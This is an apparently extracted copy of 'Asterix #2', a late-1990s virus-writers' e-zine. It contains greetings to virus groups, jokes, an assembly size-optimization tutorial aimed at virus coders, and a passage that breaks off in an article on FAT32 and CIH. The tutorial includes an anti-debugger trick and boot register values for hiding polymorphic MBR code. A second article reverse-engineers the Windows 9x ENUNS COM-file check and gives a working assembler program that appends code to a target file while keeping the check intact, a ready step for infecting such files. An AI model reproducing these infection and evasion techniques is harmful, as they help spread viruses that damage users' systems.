389

EZine - Asterix #2

Embed Size (px)

Citation preview

Page 1: EZine - Asterix #2
Page 2: EZine - Asterix #2

Yo, dudez and girl (yes gigabyte, this is you :) here is goes. After looong period of time, lot of announcedrelease datez the day of the dayz is here. A small big Xmas present for all you affearing y2k breakdown,windoze NT security-holes-programers (like M$'s), avers whose terror of viruses raises from day to day,cut'n'paste coders, reverse engineers, and of course you - virus coderz. At first we have to appologize of late (really late) issue mainly due to undelivered stuff already promissed (notmentioning our lazyness and busyness). But we think a two and half years is just the right period forreleasing mags. Sure not. But we are going to change our policy and for this reason most probably this is oursecond and last(!) mag released. We are not quitting but watch and be nicely surprised. (at least we hope ;-)

As in the first issue we aren't aimed on quantity but on quality. So there aren't many viruses but a quality ofarticles and presented viruses will compense it excelently.

How to contact usTo get in touch with us, you can contact us by e-mail on [email protected] - all your emailcontaining suggestions, questions or support are welcomed. Of course, you can contact us directly and/orpresonally, if you know us :) Because we don't.

For secured communication please use this pgp key - as you know - enemies are everywhere, do nottrust anyone. But you can trust us. Secret government agencies are watching all around (echelon, for

example), like these messages. So don't be trapped by some of them, take a apropriate countermeasures.

Our crew

Article gathering/maitanance ............ Flush, Navrhar, MGL/SVL

Graphics'n'design'n'mastering ................... Flush

Notes to first issueI really wondered that noone was able to solve puzzle in out first issue and didn't contacted us even with anote he read the "secret message". In fact, it wasn't quite secret - it is vissible on the main page, yes it is ahex-dump above the PCB. There are no cpu instructions but a message in hacker-sript.

Greetz

Virus sceneBenny / 29A - calm down dude and don't get busted, & thx 4 help. btw: how about not focusing

on unimportant features on your page, but tu supply a real stuff (nothing in therenow)

Page 3: EZine - Asterix #2

Prizzy / 29A - no matter how greatfully it sounds, but what it actually does :) (yer crypto thingy)Duke / [SMF] - changed to av side ??? good idea - you can make fortune from removing .bat

viruses ;-)))Lord Julus - nice educational work, you outrunned us ;-)Metabolis - QuantumG, Qark - its usual to greet VLAD members :)VicodinES - good luck and take some books to shorten the time at holidaysChris Pile - tell to Vic how it goesVirogen - put your page up againRecoder - what is updated on your vx page?Cicatrix - keeep VDAT up to date .... go on with your workVirusBuster - r u henpecked? publish some details! :)Vecna - congratz, Babylonia rules (but still some important things missing that beats you

up) .... what 'll you bring as next?RAID - definatelly, you should learn ASM :-PPeon - you've completelly missed idea of Navrhar. That's why your disassembly is just

nothing. sorry ;-)Kevin - welcome back soon

Antivirus scenedark_wade / Lynx - wondering how a antivirus reseller (whose company was intented to

bust vyvojar, for example!) can be opped on #virus ?!????????? / ?????? - thanx for interviewl- - aren't u too old for thing all around today?Eugene Kaspersky / AVP - if you wanna be a NAI rival, don't you need a banner on our site as

well?Vesselin Bontchen / F-Secure -

are u still alive? there is nearly noone now who can quarrel guys onav scene

Page 4: EZine - Asterix #2
Page 5: EZine - Asterix #2

Thank you for paying attention (and for all the fish as well). Hope you found at least something interesting inour second and seems to be last issue. But we are not quitting, so keep watching our site.

*-zine editors.

P.S. Donations of spirits, beer or money are welcomed anytime.

Page 6: EZine - Asterix #2
Page 7: EZine - Asterix #2
Page 8: EZine - Asterix #2

Windows 95/98: "32-bit extensions and a graphical shell for a 16-patch to an 8-bit operatingsystem originally coded for a 4-bit microprocessor, written by a 2-bit company that can'tstand 1 bit of competition."

Whoever is the genius in the advertisement deptartment at Microsoft, they have done it thistime. Anybody seen the IE ads on TV started in 1997? The one with a very effective choralmusic playing in the background? Well, the background music is the Confutatis Maledictisfrom Mozart's Requiem (Mass for the dead). And the words of the final blast of music whichaccompanies "Where do you want to go today?" are saying "confutatis maledictis, flammisacribus addictis..." which means "the damned and accused are convicted to flames of hell". Is this the right message for an ad?

Just beeing curious about f/win 4.21g I looked a little bit inside. And can you imagine mysuprise? What do you think I found inside? (wwpack protection removed by cup386 ver3.20) This nice piece of text has been found:

* Welcome! If you read this, you have just give me the proof that my opinionabout you is correct. You are one of these bastards that think cracking orstealing other people hard work is just the right way to go (like the authors ofHMVS and PERFORIN seem to think). Well, I can`t stop you. But I watch and wait.And never forget... *

Another interesting piece of AV software is HMVS. When someone will take a look, thereare here interesting things to see...

"There is no reason anyone would want a computer in their home." --Ken Olson, president, chairman and founder of Digital Equipment Corp., 1977

"But what...is it good for?"

Page 9: EZine - Asterix #2

--Engineer at the Advanced Computing Systems Division of IBM commenting on themicrochip, 1968.

"I think there is a world market for maybe five computers." --Thomas Watson, chairman of IBM, 1943.

Unix is an operating system, OS/2 is half an operating system, Windows is a shell, andDOS is a boot partition virus. -- Peter H. Coffin

Q: Why do PCs have a reset button on the front? A: Because they are expected to run Microsoft operating systems.

The software said it requires Windows 95 or better, so I installed Linux

If NT is your answer, you don't understand the question

USER, n.: The word computer professionals use when they mean "idiot".

Page 10: EZine - Asterix #2

Where a calculator on the ENIAC is equipped with 18,000 vacuum tubes and weighs 30tons, computers in the future may have only 1,000 vacuum tubes and weigh only 1 1/2tons.-- Popular Mechanics, March 1949

C isn't that hard: void (*(*f[ ])( ))( ) defines f as an array of unspecified size, of pointers tofunctions that return pointers to functions that return void.

Why do programmers get Halloween and Christmas mixed up?Because OCT(31) == DEC(25)

PROGRAM - n. A magic spell cast over a computer allowing it to turn one's input into errormessages.

Page 11: EZine - Asterix #2

Every asm coder wants to produce fast, short and efficient code. In asm language the things should bealways pushed to the limits. Imagine, 58 bytes are enough to display color PCX file on the screen, 2 bytescan cause system restart etc...Especially virus coders should produce tight and effective code, it is not very pleasant thing to seeunoptimized code of viruses. Sometimes the optimisation can spare couple hundred bytes - good reason todeal with this interesting topic.

Index

0. What is optimizationA. Opening wordsB. Uninicialized dataC. Register settings in various situationsD. Putting 0 in registerE. Test if register is clearF. Putting 0FFh in AH, 0FFFFh in DX and CXG. Test if registers are 0FFFFhH. Using EAX/AX/AL saves bytesI. MOV vs. XCHGJ. 16 bit and 8 bit registersK. Registers and immediate operandsL. Segment registers playgroundM. The string instructionsN. DEC/INC vs SUB/ADD plus SI/DIO. SHR/SHLP. ProceduresQ. Multiple pops/pushehR. Object codeS. Structure of codeT. Arithmetics with SIB (LEA)

0. What is optimizationProcess of optimization is process of doing domething more efficient, more reliable, faster or better and lessbuggy. This in programming means faster execution of program, reducing of its size etc. Coding of viruses ismostly programming in assembly, thus producing of fast and short code. But everything can be done better,even assembly code can be coded shorter. Some tips are included in this tutorial.

Page 12: EZine - Asterix #2

A. Opening wordsThere are some things, you should really avoid in your programs, doesn't matter if it is virus or some utility.First of all remove all unnecessary code - in a good program there should be no NOPs. Another good tip isexamining the jumps in program - try to find out, if some JMP NEAR can not be replaced by JMP short. Goodtest is trying to remove directive jumps in beginning of the source code. Forward refferences are bad foroptimization they produce unnecessary NOPs in some cases.

B9 0014 90 mov cx, buffer_size14*(??) buffer: db 20 dup (?)=0014 buffer_size equ $-buffer

Better result we get with multiple passes (/m switch):

B9 0014 mov cx, buffer_size14*(??) buffer: db 20 dup (?)=0014 buffer_size equ $-buffer

Very bad idea idea is calculating in the code some weird value which could be calculated directly in thesource code using operands and parenthesses.

B. Uninitialized dataViruses often need some memory for e.g. loading original EXE header. This could be done with followingcode (similar code could be often seen in viruses)

call read_header call process_it.....buffer: db 18 dup (?).....read_header: mov ax, 4200h xor cx, cx cwd int 21h mov cx, 18 mov dx, offset buffer mov ah, 3f int 21h

Well, as you can seek if you place the uninicialized data in your virus somewhere inside the body size of theresulting code is larger as necessary. Therefore avoid placing uninicialized variables, structures or buffers inthe code. All the mentioned things should be placed on the heap. To see example how it should not look like,just take a look on your COMMAND.COM - in the one of DOS 6.22 as well as of Windows 98 you will seek alot of zeroes near the EOF. That code is especially poor optimized. Try to use something like

virus_code_end label nearbuffer: db 1024 dup(?)

C. Register settings in various situationsThere are some interesting situations like executing some EXE or COM file or booting the computer. As onecan expect register setting is not random but very deterministic. Virus authors can take advantage from thisdefault setting by testing some registers for its "on run" value. Take a look in tables 1 and 2 for the valueswhich are set by MS-DOS for us.

Table 1 - COM and EXE files Table 2 - At the boot time*

reg default value reg default valueAX 0000h (usualy) BP 091Ch

reg default value reg default valueAX 0201h BP 7C00h

Page 13: EZine - Asterix #2

BX 0000h SP SPCX 00FFh DS PSPDX PSP ES PSPSI IP SS SSDI SP CS CS (PSP in COM)

BX 7C00h SP 7BFChCX 0001h DS 0DX 0080h ES 0SI 0005h SS 0DI 7C00h CS 0

* as to Ender's tests, this might varry from bios to bios, however it remains constant for one machine (or bios version). Youcan use it as some sort of snapshot taken at first boot time, and then used for example in decryptor. Antivirus will not beable at all to guess these numbers without reboot and it will not be able correctly decrypt poly virus in mbr. (Quite niceEnder's idea, isn't it?)

As we all know Turbo Debugger sets all general registers to 0. When we some perform operation like

xor cx, bp ... some code not affecting cx cmp cx, 93Eh jne TD_is_here ... no debuger here

This way virus can easy escape from debugger. But on good writtten emulation system we are without anychance because they (AV) know we know and they are ready. But we can easy top all the wannabies tryingto "research" our virus and give them the fun they want to have.

D. Putting 0 in register

1. Clearing whatever registerThe usual way of clearing a register is

B8 0000 mov ax, 0 ; costs 3 bytes

33 C0 xor ax, ax ; is more optimised2B C0 sub ax, ax ; only 2 bytes !

This above mentioned approach can be used every time you need. Under Win32 is the abovementioned optimization more efficient, just take look at following piece of code:

B8 00000000 mov eax, 0 ; costs 5 bytes33 C0 xor eax, eax2B C0 sub eax, eax ; costs only 2 bytes

Now we will take a sneak peek on the specific situations.

2. Clearing AHLet's assume the situation we need to clear the AH register. Generally we will do it this way:

B4 00 mov ah, 0 ; cost 2 bytes in DOS2A E4 sub ah, ah32 E4 xor ah, ah ; is the same

but if the AL walue is less than 80h we can save a byte (DOS)

98 cbw

while under Windoze the cbw will be assembled as

66 98 cbw

3. Clearing DXWe use the same approach as with AH. If value in AX <8000h we can use

Page 14: EZine - Asterix #2

99 cwd

to clear the DX4. When is CX clear?

There is absolutely useless use code like

.... loop some_label xor cx, cx ; or even worse - mov cx, 0

because after the exit from some loop (i do not mean hard or conditional jump out of the loop) the CXregister is already cleared as well as after the REP ??? operations.

E. Test if register is clear

1. General situationNormal, uneducated coder will use this code:

3D 0000 cmp ax, 0 ; which takes 3 bytes83 FB 00 cmp bx, 0

but hard core programmer will for sure use

0B C0 or ax, ax ; this takes only 2 bytes0B DB or bx, bx

if the value can be discarded we can save another byte

48 dec ax4B dec bx ; this is only 1 byte

will set for us sign flag if the register is zero. Situation under Windoze is similar:

83 F8 00 cmp eax, 00B C0 or eax, eax0B C0 or eax, eax66| 0B C0 or ax, ax ; this is not default ; operand size

2. The CX registerIn x86 processors CX register is used as counter, the instruction set supports this use.

E3 ?? jcxz some_label

jumps when CX is zero, we do not need comprare CX with zero. But especially demo coders shouldpay attention to the fact, this instruction is relatively slow.

F. Putting 0FFh in AH, 0FFFFh in DX and CXIf AL > 80h, cbw sets AH to 0FFh. If AX > 8000h, cwd put OFFFFh in DX. As for CX, after the exit from theloop is this register set to 0.

.... loop some_label dec cx ; CX is here 0 this, sets it to 0FFFFh.

G. Test if registers are 0FFFFhIf we need to test if the 2 registers hold both 0FFFFh and value of one is not needed afterwards, we can easydo it with e.g.

Page 15: EZine - Asterix #2

23 C3 and ax, bx40 inc ax74 ?? jz a ; 5 bytes altogether

instead of

3D FFFF cmp ax, 0ffffh75 ?? jnz a83 FB FF cmp bx, 0ffffh75 ?? jzn a ; making 10 bytes

H. Using EAX/AX/AL saves bytesOpcodes for some types of instructions are shorter, when you use AX or AL instead of any other registers.This is the case of instruction like:

MOV reg,mem

A1 0084 mov ax, word ptr ds:[84h] ; 3 bytes8B 1E 0084 mov bx, word ptr ds:[84h] ; 4 bytesA0 0084 mov al, byte ptr ds:[84h] ; 3 bytes8A 26 0084 mov ah, byte ptr ds:[84h]8A 3E 0084 mov bh, byte ptr ds:[84h] ; 4 bytes each

MOV mem,reg

A3 0084 mov word ptr ds:[84h], ax ; 3 bytes89 1E 0084 mov word ptr ds:[84h], bx ; 4 bytesA2 0084 mov byte ptr ds:[84h], al ; 3 bytes88 26 0084 mov byte ptr ds:[84h], ah88 3E 0084 mov byte ptr ds:[84h], bh ; 4 bytes each

CMP reg,value

3D 04D3 cmp ax, 0D304h ; 3 bytes81 FB 04D1 cmp bx, 0D104h ; 4 bytes3C 22 cmp al, 34 ; 2 bytes80 FC 22 cmp ah, 3480 FF 22 cmp bh, 34 ; 3 bytes each

I. MOV vs. XCHGMoving value from one register to another can be replaced with XCHG but only in cases the value in one ofsource register is not important. AX register as expected is here better solution too.

8B C3 mov ax, bx ; 2 bytes93 xchg ax, bx ; 1 byte

Following code is of equal size

8A C3 mov al, bl86 C3 xchg al, bl

8A E6 mov ah, dh86 E6 xchg ah, dh ; 2 bytes all

but you can even enlarge the code with :

A1 0080 mov ax, word ptr ds:[80h] ; 3 bytes

87 06 0080 xchg ax, word ptr ds:[80h] ; 4 bytes86 06 0080 xchg al, byte ptr ds:[80h] ; this is bad

J. 16 bit and 8 bit registersI doubt there is any non-newbie coder who will use code ala

B0 10 mov al, 10hB4 20 mov ah, 20h

Page 16: EZine - Asterix #2

which takes 4 bytes, but doing the code above at once with

B8 2010 mov ax, 2010h

takes only 3 bytes.

K. Registers and immediate operandsImmediate operands cost more bytes than use of registers. Just looka at the example below:

C6 06 010C 00 mov byte ptr [10Ch], 0 ; 5 bytes88 3E 010C mov byte ptr [10Ch], bh; 4 bytesA2 010C mov byte ptr [10Ch], al; 3 bytes

L. Segment registers playground

1. Avoid using not default segmentsIf you use not default segmet register for the operation, segment prefix will be generated, which add 1byte to the size of the code.

3E: 8B 86 0100 mov ax, word ptr ds:[100h][bp]8B 84 0100 mov ax, word ptr ss:[100h][bp]

2. Moving from segment register to segment registerWe can't move directly value from one segment register to another. It has to be coded ala

8C C8 mov ax, cs8E D8 mov ds, ax

with length of 4 bytes but

0E push cs1F pop ds

takes only 2 bytes

M. The string instructionsIntel prepared for use instructions like LODS, STOS, MOVS, SCAS, CMPS to handle large amount of data.One has to know what this instructions do. Below are instruction and it equivalents.

AC lodsb8A 04 mov al, byte ptr ds:[si]

AD lodsw8B 04 mov ax, word ptr ds:[si]

66| AD lodsd66| 8B 04 mov eax, dword ptr ds:[si]

LODS type instruction save 1 byte in comparision with move.

AA stosb26: 88 05 mov byte ptr es:[di], alAB stosw26: 89 05 mov word ptr es:[di], ax66| AB stosd66| 26: 89 05 mov dword ptr es:[di], eax

STOS type save 2 bytes in comparision with move. Therefore MOVS instruction save 3 bytes (is the same as

Page 17: EZine - Asterix #2

LODS followed by STOS).

AE scasb26: 3A 05 cmp al, byte ptr es:[di]

AF scasw26: 3B 05 cmp ax, word ptr es:[di]

66| AF scasd66| 26: 3B 05 cmp eax, dword ptr es:[di]

SCAS type instruction save 2 byte in comparition with CMP. CMPS instruction does the same as

LODSB/LODSW/LODSD CMP AL/AX/EAX, byte/word/dword ptr ES:[DI]

thus we save 3 bytes with CMPS.

We dont have to omit REP prefixes - using this 1 byte sized instruction we can do miracles almost at nocosts. In addition after REP ??? is CX set to 0

N. DEC/INC vs SUB/ADD plus SI/DIIncrementing or decrementing 16bit register is only 1 byte in size. It is more efficient that INC/DEC 8 bitregister, or adding or subtracting 1 from some adress or register.

40 inc axFE C0 inc al

4A dec dxFE CE dec dh

2D 0001 sub ax, 105 0001 add ax, 1

83 2E 0080 01 sub word ptr ds:[80h], 1FF 0E 0080 dec word ptr ds:[80h]

83 06 0080 01 add word ptr ds:[80h], 1FF 06 0080 inc word ptr ds:[80h]

Even if we need to add/sub 2 from register inc/sub twice is 1 byte shorter. For SI/DI if AX doesn't matter wecan use some of string instruction for INC/DEC (depending on direction flag).

O. SHR/SHLSHR/SHL instructions can be used for division/multipliing by 2/4/8 etc.. instead of DIv/MUL instructions.While by DIV/MUL we have to fill register with needed value, we can instead of

B1 02 mov cl,2F6 E1 mul cl ; 4 bytes in total

use just

C0 E0 02 shl al,2

for multiply al with 4 and save a byte here. If we are multiplying just by 2, we can save 2 bytes because

D0 E0 shl al,1

has size only 2 bytes.

P. Procedures

Page 18: EZine - Asterix #2

If the some code is used over and over again it is very clever to put such a piece of code in procedure. Itcould save some valuable bytes, but we have to say, in other cases this could also add some bytes to code.How could you decide if putting the code in procedure can save bytes ? Let the number of repeating use ofsome piece of code be N, its size will be S, the number of saved or lost bytes will be B. When the code is notpart of procedure, its total size will be N*S. But when we put the code in the procedure, the resulting size ofcode will be

( S+1 ) + N*3 + A

this should be understand as(ret + the size of code) + N*3 bytes for each call + difference

And the resulting equation is

N*S = (S+1) + 3*N + AN*S - 3*N - (S+1) = AN*(S-3) - S - 1 = A

from the formula above you can clearly see, that every repeated code which size is 3 bytes or less can notbe replaced by procedure in the process of optimisation. When we know the size of code (which should be atleast 4 bytes) and the number of repeating we can estimate the number of saved bytes. So, for code withlength of 4 bytes we save 1 bytes, if the code is repeated 6 times and put in the procedure.Next thing you can do with procedures, is using multiple entry points for the same procedure.

Q. Multiple pops/pushehSometimes situation arises where you have need to repeat lot of pushes or pops couple of times. If youthinking goes in the direction "procedure" it goes the right way. But with push/pop instruction is one littleproblem - the instruction manipulates stack pointer as well as the CALL does. But the instruction set providessolution - the JMP register instruction. We can handle multiple pushes/pops like this

call push_reg ... ...push_reg: pop si ; pop return adress push ax push cx push dx push bx jmp si ; this does what ret normally does

R. Object codeSome opcodes are in some memory models aren't accesible. Therefore to use some workaround. Mosttypical use of object code in virus if famous return to original dos handler:

back db 9ah ; this is for JMP FAR PTRdosadr dd ? ; and here comes the adress

Another nice use of object code is let's say in decryptor ala:

xor ax, key

but as the every copy of virus will have different key, we code this instruction as

db 35key: dw ?

which will work perfectly.

Page 19: EZine - Asterix #2

S. Structure of codeThis is really what is optimisation about. If you structure your code good you can save lot of bytes. If you areusing lot of procedures, do not forget to check input and outpot registers. Sometimes it could be valuable touse register, which cost less bytes to handle in procedures. As and example for good structured code, herelook at part of INT 21h handler for some hypotetic virus. Pay attention to the use of call instruction here:

86 C4 xchg al,ahE8 0007 call jump_there

40 db 40h021Ar dw offset write3E db 3eh0458r dw offset close00 db 0 ; end of table

jump_there:5F pop di ; pointer to ; table begin search:80 3D 00 cmp byte ptr ds:[di],074 08 je exit ; table end ?AE scasb74 03 je handle ; AL = AH ?AF scasw ; DI = DI + 2EB F5 jmp short search handle:FF 25 jmp word ptr ds:[di] ; jump to ; function exit:

Size of the code above is 26 bytes. Every added handled function adds just 3 further bytes. But when we usethis virus typical sequence of CMP, JE/JNE, JMP the it will look like:

80 FC 40 cmp ah, 40h75 03 jne check_3eE9 022D jmp infect check_3e:

thus we have to count at least 8 bytes for every single handled function. If we want to hadle 10 functions, itwill be as much as 80 bytes. Structured coding from previous example will fit the same function in only(26+3*8) = 50 bytes. 30 bytes saved, do i have to further explain all the pluses structured coding can bring toyou?

T. Arithmetics with SIB (LEA)There is another way on i386+ to simplify more complicated arithmetical operations. A SIB displacement ofinstruction (used for complex memory access) can be used for arithemtics as well using LEA instruction. SIBmeans: Scale, Index, Base which is principle of memory accesss in general form:

89 84 CB 12345678 mov [ecx*8+ebx+12345678h], eax

Scale is register (any 32bit) multiplied by 1, 2, 4 or 8; Index is another 32bit register, and finally Base is a rawoffset. Base is a 32bit value as well, that takes another 4 bytes, but it might be used also without thisconstant.You can use if for aritmetical operations, even more it is faster than comparisonable equivalents usingmultiplying or shifts, and you can perform a mutliplication for even non-standard values, like eax mul 9, forexample:

8D 04 C0 lea eax, [eax*8+eax]

As you can see, this lea-trick can be used in many circumstances, and I'll not list them all here, of cos.

Page 20: EZine - Asterix #2

Hope this little introduction helps you with some ideas, but you surely know: "truth is out there" - you need tooptimize your code in more general context, not only on instruction base, but on register usage optimizingand stack usage as well, and there are many other things that can't be decribed in such a general way. Maybe it is for another article. But for now, go ahead and won't your code be pesimised...

Page 21: EZine - Asterix #2

IntroductionIn the old goodtimes there were nothing easier as infecting COM file. But the Microsoft went to market withhis Windoze 9x series of betas. This has changed some COM files and near the EOF we started to seestring 'ENUNS' followed by word with various value. This is apparently some kind of checksum or othersecurity shit. Many virus coder solved the this problem simply by avoiding the infection of such a modifiedCOM files.

Research partBut as we all know, Microsoft is lame company and its programmers are morons. So let's take a closer lookwhat does such a ENUNS file in action. We will pick up a handy and short file from directoryC:\WINDOWS\COMMAND - file choice.com

If we 'll play a little bit with hex editor and we 'll add some extra bytes to the end of the file, after runningCHOICE.COM without any command line parameters, we will see

[ , ]?

instead of the usual

[Y,N]?

This means - file is corrupted ...

Let's start debuging this file. After couple of jumps and calls we land in following code

cs:0B27 1E push dscs:0B28 06 push escs:0B29 1F pop dscs:0B2A 8B D7 mov dx, dics:0B2C 83 C2 03 add dx, 3cs:0B2F B8 00 3D mov ax, 3D00hcs:0B32 CD 21 int 21h

The code above opens the file which is run (choice.com)

cs:0B34 1F pop dscs:0B35 72 3C jb errorcs:0B37 8B D8 mov bx, axcs:0B39 89 1E 77 05 mov handle, bxcs:0B3D E8 3F 00 call test_ENUNScs:0B40 9C pushfcs:0B41 B8 00 3E mov ax, 3E00hcs:0B44 8B 1E 77 05 mov bx, handlecs:0B48 CD 21 int 21hcs:0B4A 9D popfcs:0B4B 72 2C jb loc_0_B79

Call to the test_ENUNS seem to be quit important. Closer look shows what this procedure does:

cs:0B7F 06 push escs:0B80 33 C9 xor cx, cxcs:0B82 33 D2 xor dx, dxcs:0B84 83 EA 07 sub dx, 7

Page 22: EZine - Asterix #2

cs:0B87 83 D9 00 sbb cx, 0cs:0B8A B8 02 42 mov ax, 4202hcs:0B8D CD 21 int 21hcs:0B8F B9 07 00 mov cx, 7cs:0B92 03 C1 add ax, cxcs:0B94 83 D2 00 adc dx, 0cs:0B97 A3 80 05 mov size_lo, axcs:0B9A 89 16 82 05 mov size_hi, dxcs:0B9E B8 00 3F mov ax, 3F00hcs:0BA1 8D 16 92 05 lea dx, ds:592hcs:0BA5 CD 21 int 21hcs:0BA7 72 1A jb bad_handle

The routine seek to EOF-7 and read last 7 bytes of the file to some buffer. Filesize is saved on this occasion.

cs:0BA9 81 3E 95 05 4E 53cmp word_0_595, 'SN'cs:0BAF 75 12 jnz bad_handle

Location EOF-4 is checked for presence of string 'NS'.

cs:0BB1 A1 97 05 mov ax, checksum cs:0BB4 8B 16 80 05 mov dx, size_locs:0BB8 8B 0E 82 05 mov cx, size_hics:0BBC 2B D0 sub dx, axcs:0BBE 83 D9 00 sbb cx, 0

cs:0C07 89 0E 80 05 mov size_lo, cxcs:0C0B 89 16 82 05 mov size_hi, dx

Word at location EOF-2 is subtracted from the file size and result is stored.

cs:0C0F BE 01 00 mov si, 1cs:0C12 E8 16 00 call sub_0_C2Bcs:0C15 73 0F jnb loc_0_C26cs:0C17 8B 0E 80 05 mov cx, size_locs:0C1B 8B 16 82 05 mov dx, size_hics:0C1F 33 F6 xor si, sics:0C21 E8 07 00 call sub_0_C2Bcs:0C24 72 03 jb loc_0_C29cs:0C26 E8 7F 00 call sub_0_CA8cs:0C29 07 pop escs:0C2A C3 retn

From our (virus) point of the view is decising the call to cs:0xC2B.

cs:0C2B 51 push cxcs:0C2C 52 push dxcs:0C2D B8 00 42 mov ax, 4200hcs:0C30 CD 21 int 21h

File pointer is moved to the location (filesize-(word at EOF-2))

cs:0C32 B9 10 00 mov cx, 10hcs:0C35 B4 3F mov ah, 3Fhcs:0C37 8D 16 92 05 lea dx, ds:592hcs:0C3B CD 21 int 21hcs:0C3D 72 37 jb loc_0_C76cs:0C3F 3B C1 cmp ax, cxcs:0C41 75 33 jnz loc_0_C76

Read form inside the file is performed.

cs:0C43 A1 9D 05 mov ax, word_0_59Dcs:0C46 3D 4E 53 cmp ax, 'SN'cs:0C49 75 2B jnz loc_0_C76

Location inside the file is checked for presence of string 'NS'. This is what the program does with the magic'ENUNS' shit. Quit lame and interesting at the same time. Well as we know what the does, we should try tocreate some workaround.

Page 23: EZine - Asterix #2

What do we need?There are two requests for elegant solution of the problem

1. User should see at the EOF-7 the string 'ENUNS' followed by word containing "magic value".2. File has to pass its internal controll routine.

SolutionWe take common non-overwriting appending COM infector. If we choose some ENUNSed targed and we willinfect it in normal way, the proggy with virus on its end will have no 'NS' at EOF-4. In the very rare case it willhave 'NS' there, word at EOF-2 sends the file pointer somewhere in deep space 9 and the next check will fail.Therefore solution of the problem is

1. Read last 7 bytes of file to some buffer2. Infect the file as usual3. Handle ENUNS protection

As we need to have at least 'NS' at EOF-4, in the line of our elegant solution we will add there 'ENUNS'string. Then we need to adapt the word at EOF-2 in such a way it will point to the location it pointed beforethe file was infected.

The word located at EOF-2 is subtracted from file size - it could be expressed as follows

uninfected situation:

X = filesize - (word at EOF-2)

but when the file is infected the situation is

X + virus size + added code = filesize + virus size +added code - (word at EOF-2)

Resulting pointer is now "somewhat" incorrect from our viral point of the view. This dramatic equation is easyto solve just by moving some shit from left to right side of the equation...

X = filesize + virus size +added code -(word at EOF-2+ virus size+ added code)

note: under the term "added code" you should understand our 2nd 'ENUNS??' string.

Dear readers, the solution for the ENUNS problem is just to copy the last 7 bytes from the target file to theend of the virus body with only one change - to the value of last word in the file we simply add the size of allappended code including our duplicite ENUNS?? string.

And here comes the demonstration of the above mentioned solution.

Page 24: EZine - Asterix #2

ENUNS.ASM

model tinycodesegorg 100h

; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿; ³Diz is demonstation proggy to show easy way to h andle Micro$oft's³; ³ENUNS protection of COM files from the viral poi nt of the view ³; ³ ³; ³To compile the file use Borland's Turbo Assemble r with following ³; ³switches: ³; ³ tasm enuns.asm ³; ³ tlink /t enuns.obj ³; ³ ³; ³The resulting enuns.com should have exactly 512 bytes. Exactly 1 ³; ³sector in size :P ³; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

CR equ 0DhLF equ 0Ah

start :mov ah, 1Ahlea dx , DTAint 21h ; own DTA (so we don't screw _argv)

mov ah, 9lea dx , open_messageint 21hmov al , byte ptr ds :[ 80h ]or al , al

jnc path ; got parameter ?lea dx , path_missjmp short @@2

path :cbw

xchg ax , simov byte ptr ds :[ 81h+si ], '$'lea dx , assumedmov ah, 9int 21hmov dx , 81h

int 21h ; print path+filename

mov byte ptr ds :[ 81h+si ], 0skip_space :

mov di , dxcmp byte ptr [ di ], 20hjne searchinc dxjmp short skip_space ; avoid space in a front of path

search :mov ah, 4Eh

int 21hjnc open_file

lea dx , not_found ; search the file@@2: jmp short @@1 ; print error messageopen_file :

mov ax , 3D02hint 21h

jnc open_ok ; open filelea dx , open_error

Page 25: EZine - Asterix #2

ENUNS.ASM

@@1: jmp short put_msg ; print error messageopen_ok :

xchg ax , bx

mov ax , 4202hpush axmov dx , 0FFF9hmov cx , 0FFFFhint 21h ; seek 2 ENUNS

mov ah, 3Fhlea dx , enunsmov cx , 7int 21h ; read it

add word ptr [ enuns +5], xtns + 7

pop axcwdxor cx , cxint 21h ; seek 2 end

mov ah, 40hlea dx , demomov cx , xtns + 7int 21h ; write additional data

mov ah, 3Ehint 21hint 20h

put_msg :mov ah, 9int 21hint 20h

open_message :db 'ENUNS workaround demo by MGL' , CR, LF, CR, LF, '$'

path_miss :db 'No path specified !' , CR, LF, CR, LF, '$'

assumed :db 'Target file assumed : $'

not_found :db 'File not found !$'

open_error :db CR, LF, 'Error opening target file!' , CR, LF, '$'

demo: db CR, LF, 'ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿'db CR, LF, '³This text is added to the file just for the demon stration³'db CR, LF, '³of Micro$oft lameness in design of ENUNS protecti on ³'db CR, LF, 'ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ'

xtns equ $ - offset demoenuns db 7 dup (?)DTA:end start

Page 26: EZine - Asterix #2

Did you ever take a care about FAT filesystem? Did you experienced over new one that Windows'95 brings?I played with old FAT a long time ago, I did a lots of work with it, like disk recoveries, crashed disks, etc, evenrepairing disk by phone (filling in all numbers computed in head for partition and boot by talking via phone). Iwrote several FAT emulators r/w (guess for what reasons ;-), some recovery utilities, disk swapping tools(changing internal dos/windows stuff for swapping disks, booting from non-primary partitions, etc), on-flymounting an unmounting disk utils for dos/win. I would say I was quite familiar with FAT.

But things getting changed. I've installed a new Windows on my computer some time ago (you have to do soin current contitions), swapped to FAT32. It is slower a bit, but functional. Before I have my old (today I wouldsay "really old") 1GB disk partitioned into 128MB partitions for having 2kB clusters. I used to have lots ofsmall files, and not to have a big space wasting I had many logical disks on that disk. With FAT32 all thesethings are forgotten. But even in that time I never checked new disk structures.

But nice spring evening comes, and CIH does its job. Not on my disk, of'coz as I play with viruses for morethan 8 years. I don't have any active virii on my computer - for that reasons I use best avir 'round the globe -hiew ;-). Well but friend of mine called me that his office disk crashed (and even his cheef's disk and othersas well) and asked me for help. "CIH" - my first idea was. Of course I was right. Moreover, he wasn't the onlyone who asked me for help at that time. And I get experienced with FAT32 immediately.

